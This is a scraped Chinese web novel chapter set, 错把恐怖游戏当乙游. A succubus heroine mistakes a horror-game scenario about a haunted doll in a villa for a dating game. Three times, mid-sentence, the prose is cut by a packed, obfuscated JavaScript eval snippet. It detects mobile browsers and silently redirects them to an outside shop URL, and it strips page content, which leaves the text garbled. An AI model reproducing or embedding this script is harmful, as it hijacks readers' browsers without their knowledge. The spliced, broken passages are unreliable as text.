《错把恐怖游戏当乙游》 1. 《人偶回魂夜》 “亲他!” 尖叫,欢呼,彩带。 “亲他!亲他!亲他!” 不带恶意的起哄如浪潮般冲刷着每一个人,热闹和欢腾填满了这间别墅。 仿佛刚从一场大梦中醒来,迷茫之中,之芙缓缓眨了眨眼。 脑海中突兀地响起一个低沉的声音:【游戏《人偶回魂夜》已开启,正在输入个人数据……系统生成身份……连接中……】 【你是一个爱慕虚荣、贪财好色的大学生,在寒假被一对父母聘请来照顾他们的孩子——】 “亲他!亲他!” “别怂啊之芙!他不是你男朋友吗,这么害羞……哈哈哈……” 欢笑声打断了脑海里那个语音,之芙再次眨了眨眼,在逐渐清明的视线中看到了坐在她前面的那个男人穿着一身简单的白衬衣,席地坐在地毯上,一只腿支起,手肘支撑在膝盖上,清俊中犹带青涩的面庞发紧,薄唇紧抿成一条直线。 之芙几乎看呆了。她玩过那么多乙女游戏,面前这个男人绝对是最好看的那一个。但最让她震惊的是…… 这个真实感……全息游戏是这么真实的吗? 他的长相是那种少见的锐利的俊美,肌理非常真实,几乎能看到皮肤纹理和细微的颗粒感,和真人没有任何区别。五官端正而精致,剑眉星目鼻梁高挺,显得不近人情,但嘴唇的形状却润而饱满,削弱了锐利五官带来的压迫感,下颚线条锋利,丝毫不显女气,反而流出一股清俊的逼人气魄,活似一朵高岭之花。 之芙直愣愣地盯着他,在他斜过来一个眼风的时候几乎看呆了。 呃!是漂亮老婆……漂亮老婆上来就白给什么的竟然不是广告词?游戏公司是真给啊…… “亲他呀!” 之芙懵懵懂懂中被人推了一把,不轻不重的力道,玩笑似的把她推向了少年,她本来就坐在地上,被推得一下不稳猛地扑到了对方的怀中。 漂亮老婆投怀送抱……有点晕乎乎了…… 之芙张了张嘴想说什么,紧接着就闻到了来自自己身上的酒味,淡淡的馥郁香气,应该是红酒。微醺催得她摇摇欲坠,眨眼间她清晰地看到了对方眼中的自己:两颊飞起动人的绯红,眼睫被生理性泪水濡湿,像是一双被露水打湿的翅膀,沉重地扇了扇。 好近……这个距离,有点太近了。 相比起她,坐在她对面的男人就显得冷淡多了。他和周围欢笑的人群比起来,就像是两个毫不相干的图层被拙劣地硬p到了一张图中,他微微皱眉,双手颇有距离感地接住她的胳膊,勉强保持着一个绅士的距离,侧着头躲避:“别闹了,你们……” 一定是人类的酒精太上头了,他们总是做出这种天才的东西。之芙用力甩了甩脑袋,盯着对方俊美的脸颊看了一会儿。 就像她们做的游戏角色一样,天才。 “这次的游戏开场、还挺……刺激。”之芙喃喃。 周围乱糟糟的,男人没有听清她的话,他微微侧脸过来,发出了“嗯?”的声音。 “你知道吗,我们魅魔届的三大理论……”之芙嘿嘿傻笑了一下,声音含含糊糊的,她伸出双手,用力地捧住他的脸,“来都来了,亲都亲了,大半夜的——今日事今日毕,亲他!” 漂亮老婆皱了眉:“你在说什么?你……唔!” 四周的尖叫声骤然拔高,他惊愕的声音被吞进了柔软的唇里。 ——之芙捧住他的脸,用力地吻了下去。 “……” 惊愕,抗拒,不知所措,还有一点点的担忧。柔软的唇尝起来像是花瓣尖尖,上头带着一点熏染的酒味儿,之芙用力地咬住花瓣,如愿以偿地听到了细微的吃痛声。 血涌了出来。血腥味是最好的调味剂,花瓣被揉捏出更多汁液。 灼热生命力,馥郁的灵魂,热烈的香气从双唇紧贴的地方传来,之芙软软贴在对方身上,像蛇攀绕在树上,仰头近乎渴求地吞食着对方的唇舌,蛇的牙齿,咬住了代表诱惑的苹果。 被愕然地推开一点,之芙睁开迷蒙地眼,在模糊闪烁的快乐中,对方的面容模糊成不知名的色块,食物的香味愈发浓烈,她再次仰头迎了上去。 惊讶的情绪,给食物增添了更多调味,更好吃的味道。 “……” 尖叫声如退潮的浪一般消失在耳边。四周一片安静,黎夜只能听到自己脑袋里嗡鸣的声音。 他瞪大了眼睛,脑海中“嗡”地一声,仿佛全身的感知都一瞬间集中在唇上,清晰地感知到那柔软的唇瓣轻轻地,像羽毛一样自唇边擦过,还带着点水汽和微甜的红酒香。 唇舌交缠,尖锐的牙齿划过他的舌面,对方似乎要把他吃下去一样热情,拒绝的意志被什么东西瞬间压下,他的心脏咚咚作响,后脑酥麻,似乎正有某种异样的快乐入侵着他的大脑,让他的意识也变得恍惚。 享受她……享受这快感。 一个声音在耳边喃喃,带着低笑与诱惑,宛如情人缠绵耳语。 还有…… 眼前带着笑意的双眼。小恶魔似的眯着眼,露出傻乎乎又洋洋得意的笑——仿佛多满意他的知情识趣似的。 视线不由自主地往下,小恶魔坐在他的腿上,那么近的距离,他清晰地看到涎水顺着下巴滑落,缓慢地濡湿了衣领。本来就红润的唇瓣,更显出一种艳丽的糜烂。 明明是……明明是她在强迫他。 却显露出一种懵懂的无知感。仿佛她是没有人类意志的怪物。 仿佛被一只无形的大手强行按在原地,男人瞳孔放大,几乎动弹不得,僵硬得如同一具尸体般,片刻后只见小恶魔似的女孩微微将唇瓣撤开了一点,声音如梦似醉:“唔……好吃。” 疼痛这才后知后觉地涌上来。 她眼睛弯弯如月牙:“多谢款待。” 仿佛有轰地一声自他脑海中炸响,方才失去的五感一瞬间倒流回了他的身体里,巨大的冲击下他猛地站起来,想也没想把怀中人往外一推! “你——!”他居高临下地看着她,话还没说完,忽然从头顶的二楼传来了一声巨响“哐!”猛地打断了他的话。 “……” 场面一下子又安静下来,刚刚消失的世界重新回到脑海中。在场的少年少女们面面相觑,声音是从别墅的二楼传来的,听起来像是什么重物掉在地上的的声音。 人群中一个女孩站起来打圆场:“可能是有什么东西掉地上了……我去看看,你们玩,你们接着玩啊!” 她转身走上楼梯,方才突然凝固的气氛这才和缓下来。之芙砸吧砸吧嘴,抬头看去,方才满脸通红的指责她的男人坐回了地毯上——特意坐得离她远了些。他皱着眉低着头擦嘴,脸上的表情像是凝固的冰霜,眉头皱得死紧。 见她看来,还不悦地侧头瞥了她一眼。 之芙:? 之芙满脸无辜,瞪她做什么。来都来了,亲都亲了,大半夜的。 气氛都烘托到这里了,乙女游戏的男主不就是用来亲的吗? 她正准备说话,身边的女生忽然挽住她的手臂,对对面的男人皱眉抱怨道:“不亲就不亲,推人干什么呀,我们就是……看你们在吵架,想帮你们破冰。你不是芙芙的男朋友吗?这么凶干什么?” “对啊。”另一个男生也说,“你要是不满意怪我们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14234303|151376||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就好了,你——你叫什么来着?” 男人是之芙带来的,看起来沉默寡言的,他们也没怎么说过话,几个人之间还很陌生。又是大半夜的聚会,他们都喝了点酒,就想借着游戏惩罚帮他们破冰,帮男人融入一下,没想到…… 男人擦了一把嘴,抿着唇沉声开口:“叫我黎夜就行。我和她……和之芙,我不是她男朋友。” 恰在此时,方才被打断后一直沉默的脑海中的声音淡淡地接话:【他不是您男朋友,他是您捡回家的流浪汉。】 之芙往四周看了一眼。脑海中的声音很清晰,但周围的人都没有反应,就像是没听到似的。 似乎知道她在想什么,脑海中的声音适时开口:【玩家你好,我是你的游戏指引系统,你可以直接叫我系统。】 【你是一个爱慕虚荣、贪财好色的大学生,在寒假被一对父母聘请来照顾他们的孩子——一个人偶。但你对人偶没有兴趣,反而看上了他们又大又豪华的别墅。】 【在人偶的父母外出旅游期间,你邀请同学们来到‘你的别墅’开派对。】 这大概就是游戏背景和人设了。脑海里的酒气还未散干净,之芙晕晕乎乎地听着系统介绍,系统话锋一转: 【在外出采买派对必须物资的过程中,你在别墅外的路边捡到了昏迷的黎夜。因为他长相俊美,你贪恋美色,收留了他,并在同学询问关系时虚荣心发作,谎称他是你的男友。】 之芙把视线朝对面的男人身上投去—— 即使在她玩过的那么多乙女游戏里,也是顶尖的美貌。也不怪“她”看到他昏迷在路边,就见色起意把他带回家了。 黎夜转过头来,对上了她的视线。他没有说什么,只是微微抬头,皱着眉像是在看一个无理取闹的小孩。 他的年龄明显比之芙这群学生要大,这样皱眉看着人的时候,就有种无形的压迫感自他身上逸出来,客厅的空气都似乎在一瞬间下降了十度。 他皱眉,一字一顿地重复了一遍: “我不是,之芙的男朋友。” “……” 刚刚还在开玩笑的朋友一下沉默下来,偌大的客厅里陷入了诡异的寂静,所有人的目光不约而同地投向之芙。 头顶的电灯骤然一跳,黑暗瞬间笼罩了所有人,但还没来得及惊讶,又骤然亮起。灯光亮起的一瞬似乎有阴影爬上了他们的脸颊,骤然大亮的灯光打在他们的脸上,又因为五官的凸起在脸颊上盖上某种诡异而不详的阴影。 之芙捧着脸,小脸喝得醉醺醺的,看起来傻乎乎的,像是一只掉进陷阱却无知无觉的幼兽。她弯起眼角,歪头。 “黎夜当然不是我的男朋友。”她说着话,理直气壮的往旁边一躺,靠上黎夜的肩膀,伸手揽住他的腰,脸颊在他肩膀上蹭了蹭——漂亮老婆看着清瘦,但摸起来很有料嘛。 很好,饺子要吃烫烫的,男人要爱壮壮的! 黎夜丝毫没有察觉到她的手正在哪里摸,松了口气,恢复了冷淡的表情,点了点头:“我是她——” “他是我花钱包的男模。”之芙点点头,煞有介事地比了个四,“可贵了,花了我这个数呢。” “但也没办法,谁叫他那么好看呢。” 黎夜:…… 高岭之花再次破功,瞳孔放大得活像老古板第一次去到夜店,大受震撼。半晌脸骤然一沉:“等等,我也不——” “啊——!!!” 楼上传来的尖叫声第三次打断了他的话。黎夜的嘴开开合合,还没来得及说出什么,楼上的尖叫再次响起: “啊啊啊啊啊啊啊——!!!!!” “杀人了!” 2. 《人偶回魂夜》 “出什么事了!” 众人面面相觑,冲到二楼时,只见刚刚上楼的女生呆滞地坐在走廊。 “出什么事了?” 之芙醉得晕乎乎的,上楼的时候被挤到了最后面。此刻她挤开围成一团的人,终于看清楚了面前的场景。 这是一栋位于远郊深山的独栋别墅,占地宽广,即使是空中阁楼般的二楼也宽阔豪华得仿佛宫殿般,偌大的走廊可以并排走下四五个人,地上铺着柔软的手工地毯,走廊两侧分布着四五间房,尽头一扇美丽的花窗能把月光照出缤纷美丽的色彩。 可此刻,月光隐在云朵那一头,又宽又长的走廊一片漆黑,只有坐在地上的女孩的面前的门微微开了一条缝,暖黄色的灯光像是一把刀似地劈开了她两边脸颊,照出她缩小的瞳孔和瞪大的眼球,还有惨白脸颊边的一道泪痕。 她用一只手捂住嘴巴,颤颤巍巍地指向房间内。 “有、有人、有人——” “啪嗒”一声,终于有人摸索到了墙上的电灯开关,强光突然照入眼睛,之芙“唔”了一声,还没来得及闭眼,身后忽然伸出一只手,盖住了她的眼睛。 高大的身躯随之贴了上来,另一只手握住她的肩膀,低声道:“……小心点。” 是黎夜的声音。 ——这个看起来冷漠高傲的男人,此刻竟出奇的温柔。和他外表不一样的还有他的掌心,他的脸看起来矜贵无比,活脱脱的一位公子哥,这样的人看起来绝对没有做过什么重活,可他的掌心却布满了厚厚的老茧,关节略有些粗大,手指的侧面也能明显感觉到有茧。 这不是一双没有做过活的手,相反,这双手应该是常年干活,甚至是常年做重活粗活,才长出这厚厚的茧子来。 系统说黎夜是她从路边捡来的……他到底是什么身份? 随随便便就能捡到又漂亮又神秘的老婆,这游戏真好! 之芙决定退出游戏后去给游戏打个好评。她眨了眨眼,眼睫羽毛似地轻飘飘地扫过他温热的掌心,勾着掌心莫名地痒。 她还没开口问,谁知身后的人手却忽然猛地一颤,瞬间撤了回去:“别乱动。” 之芙:? 她回过头去,黎夜竟也皱眉看着她,表情里透露出几分警惕。但紧接着,他的目光转向了面前的走廊,眼神微沉,眉头紧紧地皱了起来。 之芙也随之转头看去—— 不久前还华美无比的走廊如今一片凌乱,满墙鲜红的凌乱的涂鸦像是一个个尖叫的扭曲的人影,舞动着身躯挤满眼眶,那些涂鸦有些是一条条凌乱的横线竖线,有些是扭曲的断断续续的字,但字迹太凌乱了,很难分辨出上面写着什么。 原本挂在墙上的油画也掉在地上,画框摔得七零八落,玻璃散落一地,在灯光下散发出破碎而刺眼的光晕。 之前说着可能是东西掉地上了,要上来看看的女孩蜷缩在在一旁,瑟瑟发抖的抱住自己的肩膀,之芙走过去蹲在她身前,扶住她肩膀,轻声问:“出什么事了?” “有、有人……”女孩带着哭腔道,情绪几近崩溃,“他要杀我,他要杀我!” “谁?”另一个女生时晴立刻抱紧了她,警惕地看向四周。但举目望去,除了来参加派对的三男三女,没有第七个人了。时晴摸了摸她的脑袋,“别怕时雨,我们都在这里,是谁要杀你?” 叫时雨的女生发着抖,又看到自己面前围了这么多人,才勉强冷静了下来。 她抽噎着开口:“刚刚,我上来看楼上的动静是什么情况——我以为是有东西掉在地上了!” ——之芙回忆起刚刚听到的沉闷声响,确实很像是什么家具重物掉在地上的声音。 “我走上来之后想开灯,但灯打不开,我就、我就用手机照亮……然后!然后我突然看到一个拿着刀的影子从我面前跑过去!” 她回想起刚刚发生的一切—— 灯打不开,面前一片漆黑,只有远处的花窗投下惨白的月光,时雨低头打开手机,眼角余光忽然闪过一道黑影。 “……谁?”她警惕地把手机灯光往前一照。 面前空空荡荡,没有人,似乎刚刚闪过去的黑影只是她的错觉。 她咽下一口唾沫,小心翼翼地往前走了几步,此时有风吹起纱帘,月光照射出的阴影在纱帘间摇曳着,远远看去,确实很像人影。 大概是看错了吧。她松了口气,放下心来。快步检查过几个靠着走廊的房间,她往里走了一步,拉开了走廊尽头的最后一间房…… “有一个人影!一个人影!!他、他很高……他拿着刀!”时雨尖叫起来,“屋里,屋里都是血!他杀人了!还想要……他还想要杀我……”说着她又呜呜地捂着脸哭了起来,嘴里反复念叨着“他要杀我”、“不要杀我……” 之芙抬起头朝屋内看去,身后的黎夜抿着唇,上前一步打开了房门。 屋里一片惨状。 和屋外一样,家具散落倒塌如同废墟,到处都是四溅的木片和玻璃,打碎的花瓶里淌出水来,鲜花也碎得不成样子,还被踩了一脚,留下了一个脚印。 墙上涂满了扭曲的涂鸦,鲜红得像是涂了一墙的血。 黎夜沉着脸走进去,用手摸了一把墙面上的涂鸦。 明显松了口气:“是颜料。” 闻言,众人如蒙大赦。然而一口气还没松到一半,黎夜忽然猛地扭头,喝道:“谁在哪里?!” 所有人之中只有之芙眼睛尖,看到了刚刚有个黑影自窗帘下一闪而过。 月光自云层间探出头来,在窗帘间照出一个高大的人形影子,就在窗帘和窗户之间。 ……那是谁? 众人噤若寒蝉,黎夜看起来却丝毫不惧,他大步流星走过去,猛地一拽窗帘! “啊!” 尖叫声猛地响起,站在之芙身后的时雨像是受了什么惊吓猛地扑到之芙的身上,之芙骤然一惊踉跄了几步,扑进了黑暗的阴影中。 身后尖叫响起。 ……但身前什么人也没有。 之芙低头看去,自己的脚边,窗帘之下,静静地坐着一个半人高的人偶。 一刹那间,她与它对上了视线。 那是一个男性人偶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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大概是光线角度原因,把这个人偶照得高大了不少。眼见着“躲在窗帘后面的人只是个人偶”,众人都肉眼可见地松了口气,有人问道:“芙芙,你家还有这么真的人偶啊?以前都没有见过你喜欢什么娃娃玩偶,这个这么真,花了不少钱吧?” 之芙这才想起来,在她对他们编的谎言里,这栋别墅都是她家的,这个人偶自然也是她的。 她无奈,只能说是自己喜欢人偶,怕吓到人才没跟他们说。 顺着人偶身后看去,房间的窗户大敞着,微风吹动了窗帘,摇曳着投下一片片的阴影。 因为别墅位于深山,人烟稀少,二楼又不算高,因此屋子里的窗户也没有装防护栏。一个男生走到窗边往下看了一眼,皱着眉道:“那个人从窗户跳走逃跑了?” ——那个人,说的自然就是把房间里砸成这样的人。 除了这个理由外,似乎也没有第二个原因能解释现在的情况了。众人松了口气的同时又心有戚戚焉,赶紧锁紧了窗户,商量过后决定先报警再说。 之芙自然也同意,趁着报警的功夫她又看了看那个倚靠在窗户边上的极度逼真的人偶,月光拂过纱帘,人偶乖巧地靠在墙边坐着,从她的角度看去,人偶正甜甜地对她微笑,玻璃眼珠流动着月光。 等等…… 刚刚,那个人偶,是在转头看她吗? 3. 《人偶回魂夜》 “这叫追人眼。”身旁的黎夜冷不防出声。 他正站在人偶的一边,眉头紧锁,紧紧地盯着人偶。 “追人眼是一种特殊的人偶眼珠。”黎夜盯着人偶,轻声解释,“某些技艺上乘的人偶师在制作眼球时会利用眼底和眼球弧度差构建视觉错觉,让人偶的眼珠看起来像是追着人在转动,但其实只是光线造成的错觉。” 之芙“唔”了一声:“你很懂这些?” “……没有。”黎夜顿了顿,轻声解释说,“只是有点兴趣。” 之芙再次看向人偶,人偶微笑着对她回以注视。它的样貌本来就逼真,五官也好看得不似常人,鼻梁挺翘、眉目深远,眼睫长得像是一把小扇子,连下睫毛都根根分明,乍一看上去,跟真人没有区别,活脱脱一个十七八岁的青春男高,浑身洋溢着阳光的少年气。 片刻后,打电话的人愁眉苦脸地回来了。 别墅位于僻静的深山老林,最近的警局开车过来要四个小时,正逢深夜大雨,山间落石多,路不好走,警察只能明天再来查看情况。 几人面面相觑,半晌不知如何是好。 过了片刻,还是之芙想了想,说:“那先去睡觉吧,睡前记得锁好门窗,检查一下房间里的角落有没有藏人。” 二楼虽然大,但之前来的时候就分配过,除了之芙和黎夜外都是两两睡一间,因此也不担心无人照应,加上之芙本来就是别墅的主人,她拍板下来,也没人反对。 出了这样的事情,也没人想继续喝酒玩游戏了,三三两两地匆匆下楼收拾楼下的残局。 “走吧。”黎夜朝她点点头,走向门外。 之芙“嗯嗯”应了两声,跟着了黎夜往外走,这会儿她终于有空拿出手机,大致翻了翻备忘录,里面置顶的一页就是她的雇主谢家父母发来的注意事项,但没打开前只显示了第一条。 【1.不要让它独自一人。】 这条注意事项被放在了最上面,标红加粗,还加上了一条下划线,绝对是最重要的一条。 之芙握着手机沉思了一会儿。 “人呢?”走在前面的黎夜迟迟等不到她出来,皱着眉往后看,“不走?今晚你要在这里、跟这个人偶睡觉?” “来了!”之芙摁熄手机屏幕,快走几步追在她身后,漂亮老婆虽然长得好看,但脾气好像一般般,没关系,她明白的,这是漂亮老婆的特权。 谁叫他长得那么好看,又很真实。 白给的老婆,不嫌弃。 她走出乱糟糟的房间,回头关上门。 月色顺着窗棂爬进黑暗的房间,照亮了窗台前的一小片地面。惨白的光线落在人偶身上,它琉璃般的眼睛直直地看着她。 不知为何,刚刚看到的那一行加粗标红的小字跳入她的脑海。 ——不要让它独自一人。 【你可以把它抱出来。】脑海中的系统冷不丁的出声,【你的任务是照顾它,最好按照雇主的要求做事,老老实实走剧情。】 之芙放在门把手上的手顿了顿。 系统说:【不按照剧情走下去,可能会遇到危险……】 门缝里的人偶静静地看着她。不知是不是错觉,它的目光落在她的身上,视线里多了几分怨恨,那负面的感情是如此浓烈,几乎化为实质,像是淤泥般黏在身上,让人不适。 但只是一顿,随即之芙毫不犹豫地关上了门,门缝里那道沉重的视线被隔绝在厚重的木门之内。 系统:【……】 系统一直死板而机械的声音沉了下去,仅靠声音都能轻易就能想象出此刻它皱眉的模样——如果它有眉毛的话:【你知道这么做的后果,你还不按照剧情走?】 之芙腼腆一笑:【可是你们这种全息游戏,不就主打一个开放自由吗?】 ——这可是游戏!死板地按照剧情走,怎么能打出隐藏剧情? 【……】系统明显语塞了一会儿,【倒也不是这种开放自由……】 之芙又弱弱地道:【当初你的老板向我推销这个游戏的时候,说的广告词可是‘全息沉浸体验’、‘跨时代体验’、‘全自由选择’、‘没有既定剧情’,超开放超自由的游戏体验!】 她捏着腔调,把当初游戏公司对她说过的广告词复述了一遍:【就是因为这样,我才选择这个游戏的!】 系统的语气几乎是扶额无奈地:【就因为这个?你知不知道这个游戏是什么……】 “之芙!” 突如其来的声音打断了她和系统的交谈。之芙转过头去,只见黎夜皱眉倚靠在楼梯口,其他人都离开了,他还等在那里,不知道是不是因为担心的缘故,皱眉看着她:“你今晚真的要跟人偶睡一起?” 之芙看向他:“当然不。” 他轻轻地哼了声:“……那还不快过来。” 之芙三步并作两步地跑过去,两人一前一后地走下楼梯。 这栋房子已经有些年头了,腐旧的木楼梯嘎吱作响,每走一步都让人担心它会不会塌。 “刚刚。”走在前面的黎夜突然开口,他说着话,却没有回头看她,“你为什么要说我是你的……那个。” “哪个?” “……就是那个。”黎夜还是没有回头。见身后的人半天没动静,他疑惑地往后看了一眼,发现之芙还在装傻,又皱起了眉。 之芙发现,他很喜欢皱眉。本来五官线条就锋利,皱眉的时候,压迫感就更强了。 嘴巴开开合合,仿佛那个词是多污秽肮脏,难以启齿的东西:“就是那个、男模!” 这个词一出口,好像也没那么难以启齿了。黎夜索性破罐破摔,逼视着她: “我不是你的男朋友,也不是你说的什么男模。”他停在楼梯上,转过身看着她,一字一顿地说。 刚刚坐着的时候没有发现,此刻之芙才注意到,黎夜的身形实在高大,足足比她高出一个脑袋,身后客厅里的光照过来,把他的面容压在阴影中,充满压迫感。 之芙眨眨眼,拍了拍他肩膀。 黎夜:? 她用一种满含怜悯的目光看着他,说:“这个我懂。” ——这个漂亮老婆原来是走嘴硬追妻火葬场风的。作为一个玩遍乙女游戏的高端玩家,她懂,她都懂。 黎夜:“……?你懂什么了?” 之芙红着脸冲他笑了笑。单看她的表情很难想象她说出口的话是——“现在不是,早晚是。” 黎夜呆立片刻,反应过来后眉头皱得能夹死苍蝇,活像老古板:“你别乱说话——” 然而他话还没说完,之芙已经越过他的身侧,踩着吱嘎作响的木板跳下了楼梯,她穿着的长裙轻飘飘地掠过,一步站稳,她回头,抬起下巴软乎乎地冲他笑了一下。 小恶魔似的,得意洋洋地勾着唇角。 …… 众人合伙把一楼的残局收拾好后,就准备各自告别回房睡觉了。 之前那个被弄得一塌糊涂的人偶的房间是二楼的主卧,也是之芙住的地方——准确来说,主卧是人偶谢应白的屋子,为了满足备忘录上要求的“不要让它独自一人”,之芙一直是跟人偶睡在主卧的。 只是现在主卧明显不能住人了,之芙选了主卧旁边的空房间,也是黎夜的对门,准备收拾一下住进去,将就一个晚上。 她走到门口,刚要开门,就听到身后传来噔噔噔的脚步声,还有一个怯生生的女声:“芙芙,等等!” 她回头,是刚刚那个叫时雨的女孩子。她和另一个叫时晴的女生是姐妹,两人就住在她的隔壁,也是最靠近楼梯的一间房。 “怎么了?” 时雨跑到她面前:“就是,芙芙……” 她踌躇了一下。走廊墙壁上挂着的壁灯照亮了她惨白的面庞,眼睛肿得像是两个大桃子,惊魂未定的模样显然还未从刚刚的恐惧里回过神来。 “今晚你要不要跟我们一起住?我们房间的床很大,能睡下三个人。” “诶?”之芙瞪大了眼睛,怎么不按常见套路出牌?一般这种情况难道不是…… “我……我们有点害怕。”时雨小声地说,“你一个人睡,不害怕吗?” “唔,也没什么好怕的吧……”之芙愣愣地小声说,“如果遇到入室抢劫什么的,这个时候是不是就该上英雄救美情节了?” 漂亮老婆来英雄救美吗?之芙想了想,万籁俱寂的深夜,漂亮老婆一脚踹开门,木屑飞溅划伤了一点点脸颊,鲜红的血液顺着他那张锋利而高傲的脸滑下来,他抬着下巴,用一种看垃圾一样的眼神盯着屋里的劫匪…… 哦不对……她又在想漂亮老婆了……哦不她的意思是……漂亮老婆……嘿嘿…… “什么?”时雨没有听清楚。 “没、没什么!我的意思是,我不习惯和其他人睡在一起…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14234305|151376||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抱歉啊,我就在隔壁,如果你们害怕,有什么事可以来找我。”之芙委婉地拒绝了她,她走到她身前给了这个可怜的小女孩一个拥抱,“别害怕啦,能有什么事?回去洗个热水澡,一觉睡醒我们就能回家了。” “那个……”时雨靠在她肩膀上,小声地说。 “什么?”之芙松了手想看看她的表情,但时雨紧紧地抱着她,她挣扎了一下竟然没能挣脱。 时雨停顿了一下,之芙感觉到她的脑袋往前抬了抬,似乎在看前面的房间,但紧接着她更加用力地抱住她,温热的唇凑到她的耳边。 “芙芙,我、我记得……”她声音又低又快,像是怕惊动了什么人,“我们下楼玩游戏之前,明明收拾了房间的对吧?” “可是……”她听起来快哭出来了,颤抖的嘴唇直直地怼在之芙的耳垂,“可是,我记得,走之前……那个人偶,明明躺在床上的呀?!” 之芙一怔。 她想了想,伸手拍了拍时雨的肩膀,轻声安慰说:“没事,是你记错了。” 时雨顿了顿,带着哭腔的声音问:“真、真的吗?” “嗯。”之芙肯定地说,“是你记错了。走之前是我关的门,娃娃当时就在地上。” 【骗子。】系统突然又在脑海里出声了,【你刚进入游戏世界,什么都不知道。】 【哄哄小姑娘。】之芙说,系统一看就是那种不懂人情世故的机械人,【你看她吓成这样,哄小姑娘的事,能算骗吗?】 【再说了,游戏里能有什事,肯定是记错了,小姑娘自己吓自己。】 【还有……】 她拍了拍小姑娘的肩膀,低下头去,把脸埋在对方的肩膀上,深深地呼吸了一口。 ——一种迷幻般的香气正从对方身上散发出来,馥郁而厚重,后调带着点微酸,像是香醇的葡萄酒。 这是恐惧的味道。 “……芙芙?”女孩有些惊讶,之芙埋在她的肩膀上,小巧的鼻子被压得发红,白皙脸颊上压出一道明显至极的红痕,但她似乎完全没有察觉,脸上露出一种像是吸猫吸到入迷,又像是醉酒后的眩晕表情,耳根红透了,淡色的潮红透出白皙皮肉,遮也遮不住。 此刻的她看起来……很、很…… 时雨吞了吞口水:“芙芙,你、你怎么了?不舒服吗?” “……”之芙一时没说话,冲她笑了笑。不知为何,她脸上的红晕消退,变成了一种浅淡的餍足。 “没什么,早点休息吧。”之芙说,“你还害怕吗?” “嗯?”时雨瞪大了眼睛。“这么一说,好像不怕了……唔,谢谢你!”她很快把这一切都归咎于之芙那个温暖的怀抱,用力地抱了她一下,跟她道别。“晚安!” 之芙也冲她挥挥手,站在原地呆呆地打了个哈欠,转身进门,直奔房间里的衣柜。 【……你干什么?】 之芙正在衣柜里翻找睡衣,好半天终于找出一件睡袍来。为了让佣人们统一着装,谢家给佣人也配有一系列的衣服,其中就有睡袍。 她大致笼了一下,能穿,但是…… 之芙摸了摸衣服的料子:【看起来……谢家也没有系统你说得那么富贵哦。】 睡衣的料子很差,肩膀和腰上的连接处线头又多布料又硬,只是看着好看罢了,穿上并不舒服。 【而且我们玩了一晚上,也没见到别墅里有佣人或者管家厨师——会不会,谢家快破产了?】 【谢家给你开的工资很高。】系统提醒道,【是你为了在同学面前装面子,让他们回家了。】 也对。之芙这才想起来这茬,她不是别墅的主人,而是鸠占鹊巢的佣人。 谢家给她开的工资也很高,只是照顾人偶的简单工作,工资就比家教或者端盘子之类的寒假工高多了——一个月五万块。 之芙只是一个照顾人偶的寒假工,却能做主给其他长期在别墅里工作的佣人放假——这说明人偶在这个家里的地位是极高的,系统说的“谢家父母把它当儿子看待”千真万确。 【那就是他们很抠门。】之芙想也不想地把睡袍丢进衣柜里,随便翻出一件长裙,踢掉鞋子光着脚跑进浴室。 吃饱了,她要洗洗身上的酒气。 毛玻璃的浴室门被拉上,雾气盈满小小的浴室,系统低沉的声音渐渐消失在花洒声淅淅沥沥的声音中。 【……是你太娇气。】 4. 《人偶回魂夜》 【你说这个游戏的剧情是什么呢?】淅淅沥沥的水声里,之芙问系统,【当初你的老板跟我推销游戏的时候,说为了沉浸感不能跟玩家透露剧情,奇怪,进来之后也没遇到什么主线剧情啊。】 【而且,给我分配的游戏角色性格也有点奇怪,贪财好色这样的角色性格不像是主角……】在游戏里,反而有点像是炮灰才对吧? 系统说:【游戏内背景和故事是根据玩家的性格即时生成的定制剧情,也就是说,玩家角色即玩家本人,性格是本色出演。】 之芙:【……】 好像被骂了,不清楚,再听听。 但对魅魔来说,贪财是有上进心,好色是有事业心。 所以贪财好色是完美性格啊!之芙骄傲地挺起小胸膛。 奇怪的游戏,奇怪的公司,但——游戏里的老婆很漂亮,小魅魔决定原谅他们的奇怪之处,开开心心打开淋浴头。 温热的水流顺着头顶往下落,黑发湿漉漉地黏在贴在脖颈,苍白的脸氤氲在雾气中。 【对了,你还没过新手教程。】系统突然出声,【根据教程,我会教你如何在这个世界里生存……】 【嗯?】之芙懵懵懂懂地抬头,想了想说,【新手教程能跳过吗?我玩过很多游戏。】 【……】系统莫名其妙地没声了,过了一会儿它问,【你,玩过,很多这样的游戏?】 【当然。】之芙说。她又挺起了骄傲的小胸膛,【哼哼,你就看着吧,我超级会玩游戏的。】 【……你最好是。】系统说。又低声自言自语,【我倒不知道你胆子大到这种程度。】 之芙:? 玩乙女游戏还需要胆子大? 她莫名其妙。又哼哼两声,高高兴兴地给自己手臂打泡沫。 系统忍了一下,还是没忍住,咳嗽了一声问:【你没有别的要问的吗?】 【什么?】 【……就是新手奖励,之类的。】它暗示。 【噢!】之芙的眼睛果然一下就亮起来了,【那你有吗?是什么?道具?是金手指吗?】 